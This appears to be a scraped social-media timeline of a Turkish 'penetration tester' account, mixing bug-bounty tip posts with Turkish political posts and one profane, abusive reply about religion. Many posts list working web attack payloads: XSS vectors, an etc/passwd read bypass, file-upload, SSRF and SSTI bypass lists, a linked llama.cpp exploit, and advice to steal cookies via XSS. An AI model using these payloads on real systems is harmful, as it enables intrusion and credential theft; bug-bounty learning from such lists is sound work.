Lendroy420

Backend Developer - Penetration Tester

[Lendroy420 @Lendroy420]

Zaman seninle durdu @CyberWarOrg | 14.08.2021

[Lendroy420 @Lendroy420]

@kiyashaber066 amk oğlu başka dine mensup insanlarla geçilince dinle dalga olmaz islama gelince espri sikerler öyle espriyi şimdi götünü parmakla o mapusta kodumun bölücüsü

[VIEH Group @viehgroup]

url/?f=etc/passwd ==> 403
encode etc/passwd as base64

url/?f=L2V0Yy9wYXNzd2Q= ==> 200

#note
you can use this trick in SQL , SSTI , XSS , LFI , Etc...

#bugbountytips #bugbountytip #infosec

[KNOXSS @KN0X55]

The 5 Basic XSS Vectors You Should Know

"><Svg OnLoad=alert(1)>
"AutoFocus/OnFocus=alert(1)//
</Script><Svg OnLoad=alert(1)>
'-alert(1)-'
\'-alert(1)//

[Cyber Akademi | Türkiye'nin Yeni Nesil Siber Gücü @cyberacademyorg]

Discord’a erişirken tüm internetin yavaşlamasın.

SplitWire-Turkey; klasik VPN yerine daha hedefli bağlantı, DPI aşımı ve ayrık tünelleme mantığı sunan açık kaynaklı bir alternatif.

Detaylı bilgi ve konu için forum sitemizi ziyaret edebilirsiniz.
https://t.co/j65lL2TeyO

#CyberAkademi #SplitWireTurkey #Discord #VPN #DPI #SiberGüvenlik

[KNOXSS @KN0X55]

This Week on KN0X55

Fake HTMLi for JSi
https://t.co/yoNtLnYM5U

XSS with Type Juggling
https://t.co/DsKcIgcas7

PHP Regex XSS Bypass
https://t.co/joXQXFF7DQ

3 XSS Do Nots
https://t.co/SpL4eBBMEP

Check our timeline for more.

[War @Aesthetic1War]

Üzerinden kaç yıl geçerse geçsin, paha biçilemez bir kare.

[Hassan Ali @casp3r0x0]

Lets write an 1-day Zero Click #exploit ! for CVE-2026-34159 llama.cpp and hack into #AI infrastructure !

blog post :
https://t.co/bllIsv2Ijk

exploit
https://t.co/s7pY9045dP

#Cyber #Security #OSCP #ExploitDevelopment

[bugcrowd @Bugcrowd]

Popping alert(1) doesn't show REAL impact.

Escalate your XSS by stealing cookies instead👇

Better XSS escalation paths here: https://t.co/aQoQJrGDyf

[Shivang @shivangmauryaa]

Bounty : 8,000$

3 XSS via xss0r = 3000 euro

payload : %22%3e%3c%69%6d%67%2f%73%72%63%2f%6f%6e%65%72%72%6f%72%3d.%31%7c%61%6c%65%72%74%60%31%60%20%63%6c%61%73%73%3d%64%3e

alert(String.fromCharCode(88%2c83%2c83))%2f%2f%22%3balert(String.fromCharCode(88%2c83%2c83))%2f%2f--

[sinem @Celine810403]

Türk komandosu beleşe giydiriyo : )
https://t.co/RnvZqBYhuz

[NullSecurityX @NullSecurityX]

Bypass Facebook SSL Version (latest version) Frida JS Script
https://t.co/7gcPGHd27g

#Bugbounty #CyberSecurity

[Şırnak İl Jandarma Komutanlığı @sirnakjandarma]

Şırnak’ta görevli jandarma personelimiz, İçişleri Bakanımız Sayın Mustafa ÇİFTÇİ’nin bayram tebrik mesajını telsiz başında dinledi.
Bayramda da görevimizin başındayız. 🇹🇷
#Jandarma
#BayramSensizOlmaz

[Cyber Akademi | Türkiye'nin Yeni Nesil Siber Gücü @cyberacademyorg]

7/24 avlanan, canlı temizlik yapan, sadece elite proxy'lere izin veren bir istihbarat sistemi: GÖLGE HATTI.

CANBAZ botu, global ağları tarıyor. Siz sadece kopyalayın, iz bırakmadan ilerleyin. Bu, bir liste değil; canlı bir avcı sistemi.

Premium SOCKS5 sadece üyele özel. :)

https://t.co/a7gHisDOnU

#SiberGüvenlik #OSINT #Proxy #CANBAZ #cyberakademi

[Cyber Akademi | Türkiye'nin Yeni Nesil Siber Gücü @cyberacademyorg]

Forumda veya blogda saatlerce uğraşıp dev bir makale yazdınız...

Peki ya bunu sosyal medyada duyurmak? SEO ayarları? Kapak görseli? Bırakın o "ameleliği" yapay zeka yapsın.

Karşınızda Cyber Akademi Ar-Ge laboratuvarından: Cyber Social AI v1.0 Pro!

Sadece linki yapıştırın; Twitter floodunuz, SEO etiketleriniz ve Midjourney görsel komutunuz saniyeler içinde hazır olsun. Hem de 5 farklı dilde.

Ücretsiz indirmek ve incelemek için: 👉 https://t.co/bgWVOhB64y

#CyberSecurity #YapayZeka #SEO #Python #CyberAkademi

[Cyber Akademi | Türkiye'nin Yeni Nesil Siber Gücü @cyberacademyorg]

Siber operasyonlarınızı tek bir merkezden yönetmeye hazır mısınız?

Cyber Akademi'nin yeni dijital silahı Cyber AI v1.0 yayında!

Bu sadece bir chatbot değil; 7/24 çalışan, komut bekleyen, hedef analiz eden ve istihbarat toplayan yapay zeka destekli bir siber operasyon merkezi.

Neler yapabiliyor?

/scan, /whois, /sub ile derinlemesine OSINT ve keşif.
/portscan, /cve, /waf ile anlık zafiyet ve saldırı yüzeyi analizi.

Gölge Hattı (Proxy): Tüm taramaları anonim havuz üzerinden, gerçek IP'nizi gizleyerek yapar.

5 Farklı Persona: İhtiyacınıza göre Red Team, Blue Team, Code Master veya OSINT moduna geçiş yapın.

Tek komutla detaylı analizleri PDF raporuna dönüştürün.

Eski kadim mücadele ruhunu, modern yapay zeka ile birleştiriyoruz. Forum hesabınızla hemen giriş yapın, komutu yazın ve gerisini yapay zekaya bırakın.

Sisteme Giriş: https://t.co/tOhh5QOM0g
Tanıtım Konusu: https://t.co/n3mbxC2FbZ

#SiberGüvenlik #CyberSecurity #CyberAkademi #YapayZeka #OSINT #RedTeam #CyberWarriorTIM #ai

[NaZaniin @n0aziXss]

🔥Tips to bypass the file upload limit:

1- Adding special characters to the end of the file extension:
file.php%20
file.php%0a
file.php%00
file.php%0d%0a
file.php/
file.php.\
file.
file.php….
file.pHp5….

2- Using double suffixes:
file.png.php
file.png.pHp5

[Omar Abdelsalam @lex_is1]

🐞List of localhost addresses for SSRF bypass

http://localhost
http://127.1
[http://127.0.0.0](http://127.0.0.0/)
http://2130706433
http://0177.1
http://0x7f.1
http://127.000.000.1
http://localtest .me
http://[::1]
http://[::]
#bugbountytips

[KNOXSS @KN0X55]

Use this #XSS payload and pop alert boxes EVERYWHERE! 😎👇

JavaScript://%250A/*?'/*\'/*"/*\"/*`/*\`/*%26apos;)/*<!--></Title/</Style/</Script/</textArea/</iFrame/</noScript>\74k<K/contentEditable/autoFocus/OnFocus=/*${/*/;{/**/(import(/https:https://t.co/GFfWFhdpK2))}//\76-->

[NaZaniin @n0aziXss]

⚠️SSTI (Server Side Template Injection)
Payload List → If evaluated as 49 - the target is vulnerable:

1. {7*7}
2. {7*7}
3. {{7*7}}
4. [[7*7]]
5. ${7*7}
6. @(7*7)
7. <?=7*7?>
8. <%= 7*7 %>
9. ${= 7*7}
10. {{= 7*7}}
11. ${{7*7}}
12. #{7*7}
13. [=7*7]

[SusluSec @suslu7616]

I found #xss on site.
Payload: <style>@keyframes slidein {}</style><xss style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></xss>
#bugbounty #xss #cybersecurity #websecurity #infosec #redteam #AppSec #bugbountytips